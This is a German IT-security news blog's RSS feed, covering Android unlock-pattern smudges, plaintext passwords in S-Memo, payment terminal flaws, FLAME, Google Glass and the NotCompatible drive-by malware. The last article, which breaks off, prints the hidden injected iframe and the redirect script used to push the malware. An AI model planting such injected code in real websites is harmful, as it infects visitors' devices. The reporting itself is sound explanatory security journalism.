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	<title>CK News &#124;&#124; Interessante Neuigkeiten aus der Welt der IT. Neueste Nachrichten aus den Bereichen Android, Java und IT-Security.</title>
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		<title>Fettfinger entlarven Entsperrmuster</title>
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		<pubDate>Thu, 11 Apr 2013 22:17:58 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Android]]></category>
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		<description><![CDATA[<p>Eine interessante Möglichkeit, dass Entsperrmuster gängiger Androidgeräte zu umgehen, stellte Jürgen Schmidt von Heise Security vor. Nachdem er den Code zum aufschließen des Geräts vergessen hatte, fiel ihm auf, dass eigenartige Muster, bestehend aus Fett, auf dem Display abzulesen sind. Das Muster nachgewischt und offen war das Handy. Schmidt erklärte, dass auch nach intensiver Nutzung [...]</p><p>This Article was originaly Postet by <a href="http://www.cknews.de">CK News || Interessante Neuigkeiten aus der Welt der IT. Neueste Nachrichten aus den Bereichen Android, Java und IT-Security.</a></p>]]></description>
				<content:encoded><![CDATA[<p>Eine interessante Möglichkeit, dass Entsperrmuster gängiger Androidgeräte zu umgehen, stellte Jürgen Schmidt von Heise Security vor.</p>
<p>Nachdem er den Code zum aufschließen des Geräts vergessen hatte, fiel ihm auf, dass eigenartige Muster, bestehend aus Fett, auf dem Display abzulesen sind. Das Muster nachgewischt und offen war das Handy. Schmidt erklärte, dass auch nach intensiver Nutzung das ursprüngliche Muster auf dem Display ablesbar sei, da normale Bedieneingaben sehr kurz erfolgen und die relativ langen Swipes kaum überdecken. Bei einem kurzen Test mit meinem eigenen Gerät konnte ich diese Methode des &#8220;Analog-Hackings&#8221; ohne Probleme nachvollziehen.</p>
<p>Da selbst regelmäßiges Händewaschen kaum bei fettigen Fingern hilft, sollte am besten auf eine sichere Lock-Funktion, z. B. die Pin-Eingabe, umgestiegen werden. Cyanogen bietet alternativ eine Möglichkeit an, das Raster für das Entsperrmuster zu vergrößern, was die Erkennbarkeit von fettigen Schlieren erschwert, allerdings das Muster sehr kompliziert werden lässt.</p>
<div class="quote-wrapper">
<div class="quote">Quelle und Beispielvideo: <a title="Androids Entsperrmuster mal eben gehackt. @Heise-Security" href="http://www.heise.de/security/artikel/Androids-Entsperrmuster-mal-eben-gehackt-1830073.html" target="_blank">http://www.heise.de/security/artikel/Androids-Entsperrmuster-mal-eben-gehackt-1830073.html</a></div>
</div>
<p>This Article was originaly Postet by <a href="http://www.cknews.de">CK News || Interessante Neuigkeiten aus der Welt der IT. Neueste Nachrichten aus den Bereichen Android, Java und IT-Security.</a></p>]]></content:encoded>
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		<title>Sicherheitslücke bei Galaxy S3. S-Memo speichert Passwörter in Klartext</title>
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		<pubDate>Wed, 14 Nov 2012 10:30:59 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Galaxy S3]]></category>

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		<description><![CDATA[<p>Die App S-Memo, bei jedem Samsung Galaxy S3 bereits vorinstalliert, weist eine gravierende Sicherheitslücke in deren Speicherroutinen&#160;für Passwörter auf. Wie&#160;graffixnyc, Moderator des Forums xdaDevelopers, herausgefunden haben will, wird das Passwort seines Google-Accounts im Klartext in der SQLite-Datenbank des Geräts hinterlegt. Da sich die Dateien im geschützten /data-Verzeichnis befinden, ist es ausschließlich über gerootete Smartphones möglich, [...]</p><p>This Article was originaly Postet by <a href="http://www.cknews.de">CK News || Interessante Neuigkeiten aus der Welt der IT. Neueste Nachrichten aus den Bereichen Android, Java und IT-Security.</a></p>]]></description>
				<content:encoded><![CDATA[<p>Die App <em>S-Memo</em>, bei jedem Samsung Galaxy S3 bereits vorinstalliert, weist eine gravierende Sicherheitslücke in deren Speicherroutinen&nbsp;für Passwörter auf.</p>
<p>Wie&nbsp;<em><a title="User Seite des XDA-Developer Forum Nutzer's graffixnyc" href="http://forum.xda-developers.com/member.php?u=3537886" target="_blank">graffixnyc</a></em>, Moderator des Forums <em><a title="xdaDevelopers " href="http://www.xda-developers.com/" target="_blank">xdaDevelopers</a></em>, herausgefunden haben will, wird das Passwort seines Google-Accounts im Klartext in der SQLite-Datenbank des Geräts hinterlegt. Da sich die Dateien im geschützten /data-Verzeichnis befinden, ist es ausschließlich über gerootete Smartphones möglich, den Inhalt auszulesen. Dies bietet zwar auf den ersten Blick etwas Sicherheit, sollte aber das Handy in falsche Hände gelangen, so wäre es für einen potentiellen Angreifer ein leichtes, das Gerät zu rooten und sensible Daten auszulesen.&nbsp;</p>
<p>Ist Root-Zugriff auf dem Smartphone vorhanden, so kann über folgende Schritte herausgefunden werden, ob <em>S-Memo</em> sensible Daten gespeichert hat:</p>
<ol>
<li>Konfigurieren Sie <em>S-Memo</em> so, dass es sich automatisch mit Google synchronisiert.</li>
<li>Öffnen Sie mit einem SQLite Editor die Datei <em>/data/data/com.sec.android.provider.smemo/databases</em></li>
<li>Öffnen Sie die&nbsp;<em>Pen_memo.db</em> und selektieren Sie die&nbsp;<em>CommonSettings</em>-Tabelle.</li>
<li>Überprüfen Sie, ob Ihr Google Passwort in Klartext gespeichert ist.</li>
</ol>
<p>Es sei nochmal angedeutet, dass diese Sicherheitslücke lediglich auf einer gerooteten Ausgabe des Galaxy S3 zum tragen kommt, trotzdem sei dem Entwickler, Samsung, angeraten, schnellstmöglich einen Bugfix für das Problem zu veröffentlichen um eventuellen Schaden abzuwenden.</p>
<div class="quote-wrapper">
<div class="quote">Quelle: <a href="http://www.xda-developers.com/android/s-memo-stores-google-account-passwords-in-clear-text-viewable-when-rooted/">http://www.xda-developers.com/android/s-memo-stores-google-account-passwords-in-clear-text-viewable-when-rooted/</a></div>
</div>
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		<title>Dreifache Akku Lebensdauer durch Crushed Silicon</title>
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		<pubDate>Tue, 06 Nov 2012 01:29:55 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Akku]]></category>
		<category><![CDATA[Speichertechnik]]></category>

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		<description><![CDATA[<p>Der Fortschritt mobiler Systeme zeigt sich hauptsächlich an immer höherer Rechenleistung, Mehrkernarchitekturen oder großformatigen, HD-fähigen, Displays. Die Kraftquelle der Geräte, ihre Akkus, stehen in deren Entwicklung seit langem auf verlorenem Posten. Liefen Handys vor Ausbruch der Smartphone-Welle noch gut und gerne mehrere Tage mit einer Akku-Füllung, so ist es heute üblich, dass Gerät zumindest vor [...]</p><p>This Article was originaly Postet by <a href="http://www.cknews.de">CK News || Interessante Neuigkeiten aus der Welt der IT. Neueste Nachrichten aus den Bereichen Android, Java und IT-Security.</a></p>]]></description>
				<content:encoded><![CDATA[<p>Der Fortschritt mobiler Systeme zeigt sich hauptsächlich an immer höherer Rechenleistung, Mehrkernarchitekturen oder großformatigen, HD-fähigen, Displays. Die Kraftquelle der Geräte, ihre Akkus, stehen in deren Entwicklung seit langem auf verlorenem Posten. Liefen Handys vor Ausbruch der Smartphone-Welle noch gut und gerne mehrere Tage mit einer Akku-Füllung, so ist es heute üblich, dass Gerät zumindest vor dem Schlafengehen an die Steckdose&nbsp;anzuschließen, wenn sie überhaupt so lange durchhalten. Als Beispiel sei das neue Flagschiff von Samsung, das Galaxy S3, genannt. Eine Akkuladung reicht bei durchschnittlicher Nutzung, inkl. der Verwendung von WLAN, GPS und Bluetooth, ca. 20 Stunden.&nbsp;</p>
<p>Abhilfe könnten die Studien von<em> Sibani Lisa Biswal</em> und deren Assistentin<em> Madhuri Thakur</em>, wissenschaftliche Mitarbeiter an der texanischen Rice University, schaffen. Ihnen gelang es, unter Verwendung von zerkleinertem Silicon, sog. Crushed Silicon, als Anoden-Material die Speicherkapazität um den Faktor drei zu erhöhen. Als Ergebnis wird eine Batterie mit einer Speicherkapazität von 1000 mAh/g angegeben. Herkömmliche Speicherzellen mit Graphit Anoden weisen eine Kapazität von durchschnittlich 350 mAh/g auf.</p>
<p><em>Biswal</em> erklärt die gesteigerte Kapazität durch einen enormen Anstieg der Oberfläche des erstellten Materials. Mit 46 qm/g ist diese mehr als 50 mal so groß wie die herkömmlicher Materialien. Dieser Raumgewinn begünstigt die Lithiation, so nennt sich der innere Vorgang der Elektrizitäts-Erstellung.&nbsp;</p>
<p>Im Moment arbeitet das Entwicklerteam an einer Batterie, welche auf dem neuartigen Material aufsetzt. Probleme bestehen hauptsächlich in der Herstellung einer Silikon Anode mit der gewünschten Oberfläche, sowie an der Aufrechterhaltung der Ladung innerhalb des Kathoden-Materials über etwa 600 Zyklen hinweg. Zur Veranschaulichung sei an das <a title="Mac World: The truth about iPhone battery lifespan" href="http://www.macworld.com/article/1058916/iphonebattery.html" target="_blank">Problem</a> der IPhone Akkus gedacht, welche nach etwa 400 Ladezyklen ca. &nbsp;20% ihrer Kapazität verloren.</p>
<div class="quote-wrapper">
<div class="quote">&nbsp;Quelle: <a title="Motherboard: Crushed Silicon Could Triple Your Battery Life" href="http://motherboard.vice.com/2012/11/2/crushed-silicon-could-triple-your-battery-life" target="_blank">http://motherboard.vice.com/2012/11/2/crushed-silicon-could-triple-your-battery-life</a>&nbsp;</div>
</div>
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		<title>Sicherheitslücke an EC-Bezahlterminal ermöglicht das Ausspähen von PIN</title>
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		<pubDate>Fri, 13 Jul 2012 00:18:17 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[EC]]></category>
		<category><![CDATA[Hack]]></category>
		<category><![CDATA[Sicherheitslücke]]></category>

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		<description><![CDATA[<p>Thomas Roth, Mitarbeiter von SRLabs, deckte unlängst eine gravierende Sicherheitslücke an den EC-Bezahlterminal&#8217;s der Marke Hypercom Artema Hybrid auf, welche es dem Angreifer erlaubt, die PIN einer im Gerät befindlichen Karte, auszulesen. Der Angriff wurde durchgeführt, ohne dass die Geräte, wie sonst üblich, hardwareseitig manipuliert wurden. Man benötige lediglich einen Netzwerkseitigen Zugriff, etwa über die [...]</p><p>This Article was originaly Postet by <a href="http://www.cknews.de">CK News || Interessante Neuigkeiten aus der Welt der IT. Neueste Nachrichten aus den Bereichen Android, Java und IT-Security.</a></p>]]></description>
				<content:encoded><![CDATA[<p>Thomas Roth, Mitarbeiter von SRLabs, deckte unlängst eine gravierende Sicherheitslücke an den EC-Bezahlterminal&#8217;s der Marke Hypercom Artema Hybrid auf, welche es dem Angreifer erlaubt, die PIN einer im Gerät befindlichen Karte, auszulesen. Der Angriff wurde durchgeführt, ohne dass die Geräte, wie sonst üblich, hardwareseitig manipuliert wurden. Man benötige lediglich einen Netzwerkseitigen Zugriff, etwa über die LAN-Schnittelle&nbsp;des Gerätes.</p>
<p>SRLabs beschreibt in einem veröffentlichten&nbsp;<a title="SRLabs - Payment Terminals allow for remote PIN capture and card cloning" href="https://srlabs.de/eft-vulns/" target="_blank">Paper</a>&nbsp;die ungefähre&nbsp;Vorgehensweise des Angriffes. Über die Netzwerk Schnittstelle des Gerätes lassen sich diverse Buffer Overflows durchführen, um so Schadcode auf Systemebene auszuführen. Zugriff auf das System bekommt man, so SRLabs weiter, über zwei Interfaces. Erstens die Serielle Schnittstelle, welche leicht zugänglich zu erreichen ist und zweitens über ein sog. JTAG-Interface, ebenfalls erreichbar von außen, welches dem Angreifer vollen Debug-Zugriff auf das Terminal erlaubt.</p>
<p>Alle Angriffe zielen auf den Applikationsprozessor, das eigens für die Sichere PIN-Übertragung verbaute Crypto-Modul (HSM) bleibt hiervon unberührt.</p>
<p>Einmal gehackte Bezahlterminals bergen das Risiko von folgenden Anfriffs-Szenerien:</p>
<ul>
<li><strong>Klonen von Kreditkarten</strong>Durch das Auslesen der PIN, sowie der Daten auf den Magnetstreifen der Karte, wird es möglich komplette Karten zu duplizieren. Nach Aussagen von Experten, dürfte es zwar schwierig werden, mit diesen Fälschungen in Deutschland Geld abzuheben, allerdings gilt diese Garantie nicht für Ausländische Abhebestellen.</li>
<li><strong>Verändern von Transaktionen</strong>insbesondere eine Manipulation des zu bezahlenden Geldbetrages.</li>
<li><strong>Fake Transaktionen</strong></li>
</ul>
<p>Laut einem <a title="Heise - EC-Karten: PIN-Klau am Kartenterminal möglich" href="http://heise.de/-1636550" target="_blank">Bericht</a> von Heise unterrichteten die Whitehat&#8217;s das, für den Vertrieb der Leser zuständige Unternehmen Verifone, bereits im März über die Entdeckte Sicherheitslücke. Aufgrund der &#8220;<em>sehr zähen</em>&#8221; Kommunikationsbasis zwischen SRLabs und Verifone, entschloss man sich aber letztendlich, mit den gewonnen Daten an die Presse zu gehen. Heise befragte den Hersteller über die Sicherheitlücken, dieser konnte einen Fehler &#8220;<em>im Rahmen eines Bezahlvorganges</em>&#8221; allerdings nicht reproduzieren, was daran liegt, dass das für die Transaktionen verantwortliche HSM-Modul nicht attackiert würde. Der Umstand, dass dem Benutzer einer falscher Bezahlvorgang vorgespielt würde, wird allerdings ignoriert.</p>
<p>Letztendlich wurde aber beteuert, dass der Fehler so schnell wie möglich durch ein Sicherheitsupdate behoben würde.</p>
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		</item>
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		<title>FLAME, Kaspersky deckt neue Cyberwaffe auf</title>
		<link>http://www.cknews.de/2012/05/flame-kaspersky-deckt-neue-cyberwaffe-auf/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=flame-kaspersky-deckt-neue-cyberwaffe-auf</link>
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		<pubDate>Tue, 29 May 2012 14:16:38 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Flame]]></category>
		<category><![CDATA[Kaspersky]]></category>
		<category><![CDATA[Malware]]></category>

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		<description><![CDATA[<p>Am vergangenen Montag entdeckte Kaspersky eine neue Cyberwaffe, die, wie der Sicherheitsdienstleister betont, höher entwickelter ist, als jede andere Schadsoftware zum jetzigen Datum. Entdeckt wurde die Malware, welche auf den Namen FLAME getauft wurde, von den&#160;Kaspersky&#160;Labs, während einer, vom ITU in Auftrag gegebenen, Untersuchung. Zu den Fähigkeiten von Flame gehört unter anderem das Auslesen von [...]</p><p>This Article was originaly Postet by <a href="http://www.cknews.de">CK News || Interessante Neuigkeiten aus der Welt der IT. Neueste Nachrichten aus den Bereichen Android, Java und IT-Security.</a></p>]]></description>
				<content:encoded><![CDATA[<p>Am vergangenen Montag entdeckte Kaspersky eine neue Cyberwaffe, die, wie der Sicherheitsdienstleister betont, höher entwickelter ist, als jede andere Schadsoftware zum jetzigen Datum. Entdeckt wurde die Malware, welche auf den Namen <em>FLAME</em> getauft wurde, von den&nbsp;Kaspersky&nbsp;Labs, während einer, vom <abbr title="International Telecommunication Union">ITU</abbr> in Auftrag gegebenen, Untersuchung. Zu den Fähigkeiten von Flame gehört unter anderem das Auslesen von Bildschirminhalten, Sammeln von Information über das infizierte System, Auslesen von gespeicherten Daten, sowie die Aufnahme von Audiologs.</p>
<p>Laut einem Sicherheitsexperten von Kaspersky teilt sich Flame viele Eigenheiten mit früheren Cyberwaffen, wie <em>Stuxnet</em> oder <em>Duqu</em>. Interessant ist die Verbreitung des&nbsp;Wurms, welcher&nbsp;größtenteils&nbsp;in Regionen das Mittleren Ostens auftrat, dabei insbesondere dem Iran(siehe Abb 1). Auch andere Eigenheiten, wie die gezielte Infektion von Rechenanlagen und das Ausnutzen von spezifischen Schwachstellen, lassen darauf schließen, das <em>FLAME</em> in der selben Liga spielt, wie seine Vorgänger.</p>
<div id="attachment_968" class="wp-caption alignright" style="width: 310px"><a href="http://www.cknews.de/wp-content/uploads/FlameVerbreitungKaspersky.png"><img class="size-medium wp-image-968   " title="Verbreitung von FLAME" src="http://www.cknews.de/wp-content/uploads/FlameVerbreitungKaspersky-300x195.png" alt="Ausbreitung von FLAME laut Kaspersky" width="300" height="195" /></a>
<p class="wp-caption-text">Abb 1: Verbreitung des FLAME-Wurms. Quelle: Kaspersky Labs</p>
</div>
<p><em>FLAME</em> stellt ein sehr durchdachtes Toolkit, um längen komplexer als <em>Duqu</em>, dar. Er kann genutzt werden als Backdoor, als Trojaner und hat alle Eigenschaften eines Wurms, was es ihm ermöglicht, sich selbstständig zu replizieren. Die initiale&nbsp;Ausbreitungsquelle&nbsp;ist noch unbekannt, es wird aber davon ausgegangen, dass gezielte Angriffe, etwa durch infizierte USB-Sticks, das Mittel der Wahl sind.</p>
<p>Sobald ein System infiziert wurde, startet <em>FLAME</em> mit einer komplexen Anzahl von Operationen, etwa Network-Sniffing, Aufzeichnen von Screenshots, Aufnehmen von Gesprächen, Keylogging, usw. Diese Daten werden über <em>FLAME</em>´s Command and Control Server an den Operator gesendet.</p>
<p>Sind bei <em>Stuxnet</em> subtile Hinweise im Code gefunden worden, was auf die Herkunft schließen lässt, ist <em>FLAME</em> komplett frei hiervon. Laut Kaspersky kommen bei solchen Funden drei Gruppierungen in Verdacht. Hacktivisten, Cyberterroristen, sowie Nationale Behörden. Da FLAME aber weder auf des Stehlen von Geld oder Kreditkartendaten spezialisiert ist und auch nicht den eher simplen Hack- und Malware Tools von Hacktivisten gleicht, bleibt nur noch eine Nationale Behörde oder ein Projekt welches von selbiger finanziert wurde übrig. Auch die Häufung infizierte Systeme in genannten Regionen stützt diese These.</p>
<p>Bisher wurden verschiedene Versionen der Malware im Netz gefunden, alle mit Unterschiedlicher Größe und Inhalt. Dies lässt darauf schließen, dass <em>FLAME</em> bereits seit mehreren Jahren im Einsatz ist. Der Modularen Bauweise zufolge, lässt sich <em>FLAME</em> exakt an das nötige Ziel anpassen, meistens Aufklärungsdienste. Der Durchschnittliche Typ beinhaltet sieben unterschiedliche Plugins, es wurden allerdings auch schon Versionen mit mehr als 20 Modulen entdeckt.&nbsp;</p>
<blockquote><p><strong>Quellen</strong>: Securelist.com (<a href="http://www.securelist.com/en/blog/208193522/The_Flame_Questions_and_Answers">http://www.securelist.com/en/blog/208193522/The_Flame_Questions_and_Answers</a>)</p>
<p>Kaspersky Labs (&nbsp;<a href="http://www.kaspersky.com/about/news/virus/2012/Kaspersky_Lab_and_ITU_Research_Reveals_New_Advanced_Cyber_Threat">http://www.kaspersky.com/about/news/virus/2012/Kaspersky_Lab_and_ITU_Research_Reveals_New_Advanced_Cyber_Threat</a>)</p></blockquote>
<p>This Article was originaly Postet by <a href="http://www.cknews.de">CK News || Interessante Neuigkeiten aus der Welt der IT. Neueste Nachrichten aus den Bereichen Android, Java und IT-Security.</a></p>]]></content:encoded>
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		</item>
		<item>
		<title>Google X Labs entwickeln neue Augmented Reality Brille</title>
		<link>http://www.cknews.de/2012/05/google-x-labs-entwickeln-neue-augmented-reality-brille/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=google-x-labs-entwickeln-neue-augmented-reality-brille</link>
		<comments>http://www.cknews.de/2012/05/google-x-labs-entwickeln-neue-augmented-reality-brille/#comments</comments>
		<pubDate>Tue, 15 May 2012 18:51:45 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[Augmented Reallity]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Project Glass]]></category>

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		<description><![CDATA[<p>&#160;&#8221;Where no one has gone before&#8220;, das Credo der Science-Fiction Saga Star Trek, beschreibt das streben der Menschheit, sich stetig weiterzuentwickeln, das unmögliche möglich zu machen. Im zweiten Ableger der Serie, The next Generation, kann der blinde Chefingenieur Geordi LaForge nur durch ein besonderes Hilfsmittel seine Umwelt wahrnehmen, einer sogenannten Augmented Reality Brille. Mit ihr [...]</p><p>This Article was originaly Postet by <a href="http://www.cknews.de">CK News || Interessante Neuigkeiten aus der Welt der IT. Neueste Nachrichten aus den Bereichen Android, Java und IT-Security.</a></p>]]></description>
				<content:encoded><![CDATA[<p>&nbsp;&#8221;<em>Where no one has gone before</em>&#8220;, das Credo der Science-Fiction Saga Star Trek, beschreibt das streben der Menschheit, sich stetig weiterzuentwickeln, das unmögliche möglich zu machen. Im zweiten Ableger der Serie, <em>The next Generation</em>, kann der blinde Chefingenieur Geordi LaForge nur durch ein besonderes Hilfsmittel seine Umwelt wahrnehmen, einer sogenannten Augmented Reality Brille. Mit ihr kann er aber nicht nur das normale Lichtspektrum wahrnehmen, sondern vielmehr erlaubt ihm dieses Stück Technik, seine eigenen Sinne um ein vielfaches zu verbessern.</p>
<p>Der Wunsch, Geräte zu&nbsp;entwickeln, welche es dem Menschen erlauben, seine eigenen Fähigkeiten zu verbessern, ist wahrscheinlich so alt wie die Menschheit selbst. Prothesen etwa, dafür gedacht verlorene Gliedmaßen zu ersetzten, wurden in Ägypten bereits vor 4000 Jahren benutzt. Mit der Entwicklung der Computer-, Mikro- und Nanotechnologie ist es heutzutage möglich, sich ernsthaft Gedanken über eine Verbesserung statt einer&nbsp;Ersetzung&nbsp;zu machen.</p>
<p>Eine Art der Verbesserung ist, wie bereits angedeutet, eine sogenannte Augmented Reality Brille. Diese soll nicht nur Sehbehinderten zum Sehen verhelfen, sondern Sehenden eine bessere Wahrnehmung der Umwelt ermöglichen. Head-up-Displays in Flugzeugen und Autos entsprechen dieser Technik, ebenso wie, z. B., die App <a title="Layar Augmented Reality Browser für Android" href="https://play.google.com/store/apps/details?id=com.layar" target="_blank">Layar </a>für Android Smartphones oder auch Google Street View.</p>
<p>Einen weiteren Schritt nach vorn macht nun Google, mit der Entwicklung einer revolutionären AR-Brille. Das Projekt, welches auf den Namen Google Glass hört, wurde von den Google X Labs&nbsp;initiiert und soll versuchen, Head-up-Display, Reality Browser und <del>Sehhilfe</del> zu vereinen.&nbsp;</p>
<p>Die Brille wird vermutlich mit Smartphones auf Android Basis zusammenarbeiten und relevante Informationen direkt in das Sichtfeld des Trägers&nbsp;projizieren. &nbsp;Zu diesen Informationen können Navigationsdaten, Kartenausschnitte, Eingehende Anrufe inkl. Videotelefonie oder Techniken auf Basis von <abbr title="Near Field Communication">NFC</abbr>, sowie&nbsp;Google´s Latitude gehören. Leider sind noch nicht sehr viele Informationen über dieses Projekt bekannt, aber das Kürzlich vorgestellte Video der Entwickler (siehe oben) lässt einiges erhoffen. Man sollte allerdings auch beachten, dass dieses Video wohl nicht den aktuellen Stand der Entwicklung wiederspiegelt, sondern vielmehr ein &#8220;<em>Was geht</em>&#8221; des heute technisch möglichen darstellt. So ist die Stimmerkennung, oder die &#8220;In-Building&#8221;-Navigation zwar schon eine Zeit im Einsatz und funktioniert auch (hin und wieder), aber wohl nicht in dem Ausmaß wie dargestellt.</p>
<p>Man könnte meinen, dieses Jahr ist ganz den Videobrillen gewidmet, wenn man sich den <a title="Cinemizer Plus OLED Video Brille von Zeiss" href="http://cinemizer.zeiss.com/cinemizer-oled/de_de/cinemizer-oled.html" target="_blank">Cinemizer </a>von Zeiss oder die neuen Gläser der <a title="Sony HMD - Series 3D Videobrille" href="http://www.sony.at/hub/personal-3d-viewer" target="_blank">HMD </a>Serie von Sony ansieht, welches dieses Jahr auch auf der CEBIT ausgestellt wurden. Aber keiner dieser Brillen verfolgt ein ähnliches Konzept wie Google mit seinem Glass-Projekt. Interessant, wenn man diversen <a title="New York Times Technologie Blog über einen eventuellen Verkaufsstart von Google Glass noch in 2012." href="http://bits.blogs.nytimes.com/2012/02/21/google-to-sell-terminator-style-glasses-by-years-end/" target="_blank">Quellen </a>Vertrauen möchte, soll die Brille bereits Ende 2012 auf den Markt kommen. Man wird sehen.</p>
<p>Zum verfolgen: <a title="Project Glass auf Google+" href="https://plus.google.com/111626127367496192147" target="_blank">Google Glass Projektseite auf Google+</a></p>
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		<item>
		<title>Infizierte Webseiten können Android Smartphones schädigen</title>
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		<pubDate>Thu, 03 May 2012 08:31:29 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Malware]]></category>

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		<description><![CDATA[<p>Analysten des Sicherheits-Dienstleisters Lookout zufolge, kursieren derzeit mehrere infizierte Webseiten im Netz, deren einzige Aufgabe es ist, Android betriebene Geräte zu infizieren. Die Art der Infizierung ist der sogenannte, bei Desktop Rechnern weit verbreitete, Drive-by-Download. Surft ein Android Benutzer eine solche Webseite an, kann sich gefährliche Software auf dem Gerät installieren. &#160;&#8221;Dies scheint das erste [...]</p><p>This Article was originaly Postet by <a href="http://www.cknews.de">CK News || Interessante Neuigkeiten aus der Welt der IT. Neueste Nachrichten aus den Bereichen Android, Java und IT-Security.</a></p>]]></description>
				<content:encoded><![CDATA[<p>Analysten des Sicherheits-Dienstleisters <em>Lookout</em> zufolge, kursieren derzeit mehrere infizierte Webseiten im Netz, deren einzige Aufgabe es ist, Android betriebene Geräte zu infizieren.</p>
<p>Die Art der Infizierung ist der sogenannte, bei Desktop Rechnern weit verbreitete, Drive-by-Download. Surft ein Android Benutzer eine solche Webseite an, kann sich gefährliche Software auf dem Gerät installieren. &nbsp;&#8221;<em>Dies scheint das erste Mal zu sein, dass&nbsp;kompromittierte&nbsp;Webseiten dazu benutzt werden, ihren Schadcode speziell auf Android zu verbreiten</em>&#8220;, schrieb <em>Lookout</em> auf seinem Blog. <em>Lookout</em> hat zahlreiche Seiten ausgemacht, welche den Angriff ausführen können, allerdings besitzen diese noch sehr wenig Traffic, sodass davon ausgegangen werden kann, dass die Gefahr für Android User, noch, gering ist.</p>
<p>Nach der Analyse der Malware, welche mittlerweile unter dem Namen <em>NotCompatible</em> bekannt ist, &nbsp;berichtet Lookout weiter, &#8220;<em>Der Angriff scheint &nbsp;[bis jetzt] keinen direkten Schaden am infizierten Gerät zu verursachen, aber könnte dazu genutzt werden, dass Android Gerät als Proxy zu missbrauchen</em>&#8221; und dadurch in, z. B., Firmennetzwerke einzudringen.</p>
<h3>Wie geschieht die Infektion?</h3>
<div id="attachment_800" class="wp-caption alignleft" style="width: 182px"><a href="http://www.cknews.de/wp-content/uploads/noncompatible-screen-shot-2.jpeg"><img class="size-medium wp-image-800" title="Installationsbildschirm NotCompatible" src="http://www.cknews.de/wp-content/uploads/noncompatible-screen-shot-2-172x300.jpg" alt="" width="172" height="300" /></a>
<p class="wp-caption-text">Abb. 1: Installationsbildschirm NotCompatible. | Quelle: Georgiabiker von reddit.com</p>
</div>
<p>Wird eine verseuchte Webseite mit dem Android Gerät angesteuert, beginnt der Browser automatisch mit dem Download von&nbsp;<em>NotCompatible</em>. Ist der Download abgeschlossen, versucht sich die Malware automatisch zu installieren. Nun greift das Sicherheitssystem von Android ein und zeigt die bekannte Nachricht, dass sich ein neues Programm auf dem System installieren möchte (siehe Abb. 1). Generell muss hierzu die Option &#8220;<em>Installieren von unbekannten Quellen</em>&#8221; aktiviert sein, falls nicht, wird die Installation von vornherein geblockt.</p>
<p>Wer kein&nbsp;Risiko&nbsp;eingehen möchte, deaktiviert die&nbsp;Funktion&nbsp;zum Installieren fremder Software in den Einstellungen seines Smartphones. Die zugehörige Option findet sich in aller Regel im Bereich Einstellungen&nbsp;→ Anwendungen&nbsp;→ Unbekannte Quellen. Ist dies geschehen, akzeptiert das Gerät lediglich die Downloads aus Google´s PlayStore.</p>
<h3>[break]</h3>
<h3>[break]</h3>
<h3>[break]</h3>
<h3>[break]</h3>
<h3>[break]</h3>
<h3>[break]</h3>
<h3>Technische Details</h3>
<p>Infizierte Webseiten besitzen den folgenden Code am Ende jeder Webseite:</p>
<p><!--DEVFMTCODE-->
<pre class="devcodeblock" title="HTML"><div class="devcodeoverflow"><ol><li><span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/iframe.html"><span style="color: #000000; font-weight: bold;">iframe</span></a></span></li><li><span style="color: #009900;"><span style="color: #000066;">style</span><span style="color: #66cc66;">=</span>”visibility: hidden; display: none; display: none;”</span></li><li><span style="color: #009900;"><span style="color: #000066;">src</span><span style="color: #66cc66;">=</span>”hxxp:<span style="color: #66cc66;">//</span>gaoanalitics.info<span style="color: #66cc66;">/</span>?<span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #66cc66;">&#123;</span><span style="color: #cc66cc;">1234567890</span>-0000-DEAD-BEEF-<span style="color: #cc66cc;">133713371337</span><span style="color: #66cc66;">&#125;</span>”&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/iframe.html"><span style="color: #000000; font-weight: bold;">iframe</span></a>&gt;</span></li></ol></div></pre>
<p><!--END_DEVFMTCODE--></p>
<p>Die, im IFrame angegebene, Webseite, quittiert den Versuch, mit einem PC-Browser darauf zuzugreifen, mit einem &#8220;404 Not found&#8221;. Allerdings, besitzt der Browser im User-Agent das Wort &#8220;<em>Android</em>&#8220;, gibt die Seite folgendes zurück<span style="font-family: monospace;">:</span></p>
<p><!--DEVFMTCODE-->
<pre class="devcodeblock" title="HTML"><div class="devcodeoverflow"><ol><li><span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/html.html"><span style="color: #000000; font-weight: bold;">html</span></a>&gt;&lt;<a href="http://december.com/html/4/element/head.html"><span style="color: #000000; font-weight: bold;">head</span></a>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/head.html"><span style="color: #000000; font-weight: bold;">head</span></a>&gt;&lt;<a href="http://december.com/html/4/element/body.html"><span style="color: #000000; font-weight: bold;">body</span></a>&gt;&lt;<a href="http://december.com/html/4/element/script.html"><span style="color: #000000; font-weight: bold;">script</span></a>&nbsp;&nbsp;<span style="color: #000066;">type</span><span style="color: #66cc66;">=</span>”<span style="color: #000066;">text</span><span style="color: #66cc66;">/</span>javascript”&gt;</span>window.top.location.href = “hxxp://androidonlinefix.info/fix1.php”;<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/script.html"><span style="color: #000000; font-weight: bold;">script</span></a>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/body.html"><span style="color: #000000; font-weight: bold;">body</span></a>&gt;&lt;<span style="color: #66cc66;">/</span><a 